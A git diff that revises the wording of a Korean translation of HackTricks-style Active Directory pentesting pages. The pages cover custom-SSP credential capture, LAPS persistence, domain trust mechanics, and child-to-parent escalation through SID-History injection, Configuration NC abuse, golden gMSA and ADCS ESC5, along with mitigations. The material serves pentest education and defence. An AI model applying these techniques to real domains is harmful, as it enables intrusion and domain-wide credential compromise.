[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -474,7 +474,7 @@ skeleton-key.md
|
||||
### 사용자 정의 SSP
|
||||
|
||||
[SSP(보안 지원 제공자)가 무엇인지 여기에서 알아보세요.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
자신의 **SSP**를 생성하여 머신에 접근하는 데 사용되는 **자격 증명**을 **명확한 텍스트**로 **캡처**할 수 있습니다.
|
||||
자신의 **SSP**를 생성하여 **명확한 텍스트**로 머신에 접근하는 데 사용되는 **자격 증명**을 **캡처**할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
custom-ssp.md
|
||||
@ -491,7 +491,7 @@ dcshadow.md
|
||||
|
||||
### LAPS 지속성
|
||||
|
||||
이전에 **LAPS 비밀번호를 읽을 수 있는 충분한 권한**이 있을 경우 권한을 상승시키는 방법에 대해 논의했습니다. 그러나 이러한 비밀번호는 **지속성을 유지하는 데도 사용될 수 있습니다**.\
|
||||
이전에 **LAPS 비밀번호를 읽을 수 있는 충분한 권한**이 있을 경우 권한을 상승시키는 방법에 대해 논의했습니다. 그러나 이러한 비밀번호는 **지속성을 유지하는 데에도 사용될 수 있습니다**.\
|
||||
확인해 보세요:
|
||||
|
||||
{{#ref}}
|
||||
@ -506,16 +506,16 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
|
||||
|
||||
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지하여 신뢰의 무결성을 보장합니다.
|
||||
|
||||
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC에서 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
|
||||
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC로부터 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
|
||||
|
||||
**단계**:
|
||||
|
||||
1. **도메인 1**의 **클라이언트 컴퓨터**가 **도메인 컨트롤러(DC1)**에서 **티켓 부여 티켓(TGT)**을 요청하는 과정이 시작됩니다.
|
||||
2. 클라이언트가 성공적으로 인증되면 DC1은 새로운 TGT를 발급합니다.
|
||||
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1에서 **인터-렐름 TGT**를 요청합니다.
|
||||
4. 인터-렐름 TGT는 두 방향 도메인 신뢰의 일환으로 DC1과 DC2 간에 공유된 **신뢰 키**로 암호화됩니다.
|
||||
1. **도메인 1**의 **클라이언트 컴퓨터**가 **도메인 컨트롤러(DC1)**로부터 **티켓 부여 티켓(TGT)**을 요청하는 과정이 시작됩니다.
|
||||
2. 클라이언트가 성공적으로 인증되면 DC1이 새로운 TGT를 발급합니다.
|
||||
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1로부터 **인터-렐름 TGT**를 요청합니다.
|
||||
4. 인터-렐름 TGT는 DC1과 DC2 간의 양방향 도메인 신뢰의 일환으로 공유된 **신뢰 키**로 암호화됩니다.
|
||||
5. 클라이언트는 인터-렐름 TGT를 **도메인 2의 도메인 컨트롤러(DC2)**로 가져갑니다.
|
||||
6. DC2는 공유 신뢰 키를 사용하여 인터-렐름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하고자 하는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
|
||||
6. DC2는 공유된 신뢰 키를 사용하여 인터-렐름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하고자 하는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
|
||||
7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하여 도메인 2의 서비스에 접근합니다. 이 TGS는 서버의 계정 해시로 암호화되어 있습니다.
|
||||
|
||||
### 다양한 신뢰
|
||||
@ -526,30 +526,30 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
|
||||
|
||||
**다양한 신뢰 관계**
|
||||
|
||||
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 2방향 전이 신뢰를 가집니다. 본질적으로 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
|
||||
- **크로스 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트로 올라갔다가 대상 도메인으로 내려가야 합니다. 크로스 링크를 생성함으로써 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다.
|
||||
- **외부 신뢰**: 이는 서로 관련이 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서에 따르면](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), 외부 신뢰는 현재 포리스트 외부의 도메인에서 리소스에 접근하는 데 유용하며, 포리스트 신뢰로 연결되지 않은 도메인에 해당합니다. 외부 신뢰를 통해 SID 필터링을 통해 보안이 강화됩니다.
|
||||
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 2방향 전이성을 보장합니다. [Microsoft의 가이드에서 더 많은 정보를 찾을 수 있습니다.](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 2방향 전이 신뢰로, 보안 조치를 강화하기 위해 SID 필터링을 시행합니다.
|
||||
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이 신뢰를 가집니다. 본질적으로 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
|
||||
- **크로스 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트로 올라갔다가 대상 도메인으로 내려가야 합니다. 크로스 링크를 생성함으로써 이 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다.
|
||||
- **외부 신뢰**: 이는 서로 관련이 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에 따르면, 외부 신뢰는 현재 포리스트 외부의 도메인에서 리소스에 접근하는 데 유용하며, 포리스트 신뢰로 연결되지 않은 도메인에서 유용합니다. 보안은 외부 신뢰와 함께 SID 필터링을 통해 강화됩니다.
|
||||
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 양방향 전이성을 보장합니다. [Microsoft의 가이드](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에서 더 많은 정보를 찾을 수 있습니다.
|
||||
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 양방향 전이 신뢰로, 보안 조치를 강화하기 위해 SID 필터링을 시행합니다.
|
||||
- **MIT 신뢰**: 이러한 신뢰는 비 Windows, [RFC4120 준수](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정됩니다. MIT 신뢰는 좀 더 전문화되어 있으며, Windows 생태계 외부의 Kerberos 기반 시스템과의 통합이 필요한 환경에 맞춰져 있습니다.
|
||||
|
||||
#### **신뢰 관계의 다른 차이점**
|
||||
|
||||
- 신뢰 관계는 **전이적**일 수 있습니다 (A가 B를 신뢰하고, B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
|
||||
- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰함) 또는 **단방향 신뢰**(한쪽만 다른 쪽을 신뢰함)로 설정될 수 있습니다.
|
||||
- 신뢰 관계는 **전이적**일 수 있습니다(A가 B를 신뢰하고, B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
|
||||
- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰함) 또는 **일방향 신뢰**(오직 한 쪽만 다른 쪽을 신뢰함)로 설정될 수 있습니다.
|
||||
|
||||
### 공격 경로
|
||||
|
||||
1. **신뢰 관계를 열거**합니다.
|
||||
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스에 접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요 (신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
|
||||
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스**에 **접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요(신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
|
||||
3. 이 경우 kerberoast가 또 다른 옵션이 될 수 있습니다.
|
||||
4. **계정을 손상시켜** 도메인 간에 **피벗**할 수 있습니다.
|
||||
|
||||
공격자는 다음 세 가지 주요 메커니즘을 통해 다른 도메인의 리소스에 접근할 수 있습니다:
|
||||
|
||||
- **로컬 그룹 구성원 자격**: 주체는 서버의 "관리자" 그룹과 같은 머신의 로컬 그룹에 추가될 수 있으며, 이를 통해 해당 머신에 대한 상당한 제어를 부여받습니다.
|
||||
- **외부 도메인 그룹 구성원 자격**: 주체는 외부 도메인 내의 그룹의 구성원일 수도 있습니다. 그러나 이 방법의 효과는 신뢰의 성격과 그룹의 범위에 따라 달라집니다.
|
||||
- **액세스 제어 목록(ACL)**: 주체는 **ACL**에 지정될 수 있으며, 특히 **DACL** 내의 **ACE**로서 특정 리소스에 대한 접근을 제공합니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 파고들고자 하는 분들을 위해, “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”라는 백서가 귀중한 자료입니다.
|
||||
- **외부 도메인 그룹 구성원 자격**: 주체는 외부 도메인의 그룹의 구성원일 수도 있습니다. 그러나 이 방법의 효과는 신뢰의 성격과 그룹의 범위에 따라 달라집니다.
|
||||
- **액세스 제어 목록(ACL)**: 주체는 **ACL**에 명시될 수 있으며, 특히 **DACL** 내의 **ACE**로서 특정 리소스에 대한 접근을 제공합니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 파고들고자 하는 분들을 위해, “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”라는 백서가 귀중한 자료입니다.
|
||||
|
||||
### 자식-부모 포리스트 권한 상승
|
||||
```
|
||||
@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
|
||||
#### SID-History Injection
|
||||
|
||||
SID-History 주입을 악용하여 자식/부모 도메인에서 엔터프라이즈 관리자 권한을 상승시킵니다:
|
||||
신뢰를 악용하여 자식/부모 도메인으로 엔터프라이즈 관리자 권한을 상승시키기 위해 SID-History 주입을 사용합니다:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -582,17 +582,17 @@ sid-history-injection.md
|
||||
|
||||
#### 쓰기 가능한 Configuration NC 악용
|
||||
|
||||
Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 포리스트 전반에 걸쳐 구성 데이터의 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내 모든 도메인 컨트롤러(DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서 SYSTEM 권한**이 필요하며, 가능하면 자식 DC에서 수행해야 합니다.
|
||||
Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 구성 데이터의 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내의 모든 도메인 컨트롤러(DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서 SYSTEM 권한**이 필요하며, 가능하면 자식 DC에서 수행해야 합니다.
|
||||
|
||||
**루트 DC 사이트에 GPO 연결**
|
||||
|
||||
Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메인에 가입된 컴퓨터의 사이트에 대한 정보가 포함되어 있습니다. 모든 DC에서 SYSTEM 권한으로 작업함으로써 공격자는 GPO를 루트 DC 사이트에 연결할 수 있습니다. 이 작업은 이러한 사이트에 적용된 정책을 조작하여 루트 도메인을 손상시킬 수 있습니다.
|
||||
Configuration NC의 Sites 컨테이너는 AD 포리스트 내의 모든 도메인 가입 컴퓨터의 사이트에 대한 정보를 포함합니다. 모든 DC에서 SYSTEM 권한으로 작업함으로써 공격자는 GPO를 루트 DC 사이트에 연결할 수 있습니다. 이 작업은 이러한 사이트에 적용된 정책을 조작하여 루트 도메인을 잠재적으로 손상시킬 수 있습니다.
|
||||
|
||||
자세한 정보는 [SID 필터 우회](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)에 대한 연구를 탐색할 수 있습니다.
|
||||
|
||||
**포리스트 내 모든 gMSA 손상**
|
||||
**포리스트 내의 모든 gMSA 손상**
|
||||
|
||||
공격 벡터는 도메인 내 특권 gMSA를 대상으로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 내 모든 gMSA의 비밀번호를 계산할 수 있습니다.
|
||||
공격 벡터는 도메인 내의 특권 gMSA를 목표로 합니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 내의 모든 gMSA에 대한 비밀번호를 계산할 수 있습니다.
|
||||
|
||||
자세한 분석은 [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)에 대한 논의에서 확인할 수 있습니다.
|
||||
|
||||
@ -606,7 +606,7 @@ Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메
|
||||
|
||||
ADCS ESC5 취약점은 공인 키 인프라(PKI) 객체에 대한 제어를 목표로 하여 포리스트 내의 모든 사용자로 인증할 수 있는 인증서 템플릿을 생성합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 자식 DC를 손상시키면 ESC5 공격을 실행할 수 있습니다.
|
||||
|
||||
자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
|
||||
자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승시키기](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
|
||||
|
||||
### 외부 포리스트 도메인 - 단방향(수신) 또는 양방향
|
||||
```powershell
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**, 이는 귀하에게 **확인되지 않은 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
|
||||
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이는 귀하에게 **정확히 알 수 없는 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -658,7 +658,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID 필터링:**
|
||||
|
||||
- SID 역사 속성을 활용한 공격의 위험은 SID 필터링에 의해 완화되며, 이는 모든 상호 숲 신뢰에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 입장에 따라 숲을 보안 경계로 간주하고, 숲 내 신뢰가 안전하다는 가정에 기반합니다.
|
||||
- SID 히스토리 속성을 활용한 공격의 위험은 SID 필터링에 의해 완화되며, 이는 모든 상호 숲 신뢰에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 입장에 따라 숲을 보안 경계로 간주하고, 숲 내 신뢰가 안전하다는 가정에 기반합니다.
|
||||
- 그러나 주의할 점이 있습니다: SID 필터링은 애플리케이션과 사용자 접근을 방해할 수 있어 가끔 비활성화될 수 있습니다.
|
||||
|
||||
### **선택적 인증:**
|
||||
@ -682,7 +682,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
- **도메인 관리자 제한**: 도메인 관리자는 도메인 컨트롤러에만 로그인할 수 있도록 제한하는 것이 좋으며, 다른 호스트에서의 사용은 피해야 합니다.
|
||||
- **서비스 계정 권한**: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권한으로 실행되어서는 안 됩니다.
|
||||
- **임시 권한 제한**: DA 권한이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 달성할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **임시 권한 제한**: DA 권한이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 수행할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **기만 기술 구현**
|
||||
|
||||
@ -693,7 +693,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
### **기만 식별**
|
||||
|
||||
- **사용자 객체의 경우**: 의심스러운 지표에는 비정상적인 ObjectSID, 드문 로그인, 생성 날짜 및 낮은 잘못된 비밀번호 수가 포함됩니다.
|
||||
- **일반 지표**: 잠재적인 유인물 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구가 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
|
||||
- **일반 지표**: 잠재적인 유인물 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구는 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
|
||||
|
||||
### **탐지 시스템 우회**
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
외부 시스템에서 명령을 실행하는 다양한 방법이 있습니다. 여기에서는 주요 Windows 측면 이동 기술이 작동하는 방식에 대한 설명을 찾을 수 있습니다:
|
||||
외부 시스템에서 명령을 실행하는 다양한 방법이 있습니다. 여기에서 주요 Windows 측면 이동 기술이 작동하는 방식에 대한 설명을 찾을 수 있습니다:
|
||||
|
||||
- [**PsExec**](psexec-and-winexec.md)
|
||||
- [**SmbExec**](smbexec.md)
|
||||
|
Loading…
x
Reference in New Issue
Block a user